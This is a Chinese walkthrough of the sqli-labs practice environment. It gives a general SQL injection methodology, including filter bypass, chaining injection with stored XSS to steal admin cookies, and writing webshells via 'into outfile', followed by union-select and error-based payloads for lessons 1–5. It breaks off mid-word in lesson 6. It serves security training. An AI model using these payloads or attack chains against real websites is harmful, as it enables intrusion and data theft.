下载地址:https://github.com/Audi-1/sqli-labs
注入思路: 首先判断注入参数的提交方式,像get、post、cookie,如果没有在注入参数用正确注入方法等于在做无用功。再判断适用注入方式,注入效率优先级 有回显>报错回显>状态回显>无回显,对应的注入方式是联合查询、报错注入、布尔盲注、延时注入。在注入的过程中也需要考虑是否有过滤,如果判断可能存在过滤,那需要进行相应绕过处理,大小写,双写,宽字节等。或许有的地方存在sql注入,但在获取敏感数据时会关键字过滤,或者有相应权限限制,同样要考虑绕过和提权。sql注入也可以和xss联动,像往可能返回给管理员的数据注入xss语句,其实就相当于存储型xss。盗取cookie再找到后台,基本上离利用管理员权限进入后台不远了。sql注入中和shell相关的就是into fileout函数,能确定服务器路径、能写入木马、能访问,基本上就等于get一个webshell,当然还要考虑免杀等相关细节。
目录
Page-1(Basic Challenges)
less-1
0x01
利用cc'key--+
引起语句报错,发现报错中cc正常执行,于是猜测是单引号闭合。
0x02
利用order by判断,1' order by 3--+
页面正常,1' order by 4--+
页面不正常,推测出回显字段是3
0x03
使用联合查询判断回显字段0' union select 1,2,3--+
得到回显2,3。之后在2或3处注入带回显的语句即可。
payload:?id=0' union select 1,2,3 --+
如果想了解怎么继续获取数据库敏感数据,可以参考我另一篇博客:https://blog.youkuaiyun.com/CC__Faker/article/details/117970275
less-2
同样先令语句报错,判断出无需闭合
payload:?id=0 union select 1,2,3--+
less-3
令语句报错,判断出是 ') 闭合
payload:?id=0') union select 1,2,3--+--+
less-4
") 闭合
payload:?id=0") union select 1,2,3--+--+
less-5
第五关与前面不太一样,会出现报错回显,但无字段回显。
这里采用报错注入。下列语句报出数据库名
payload:?id='and(select extractvalue(1,concat('~',(select database()),'~')))--+
如果想了解怎么利用报错注入继续获取数据库敏感数据,可以参考我另一篇博客:https://blog.youkuaiyun.com/CC__Faker/article/details/118035305
less-6
利用报错判断闭合符号是 "
pa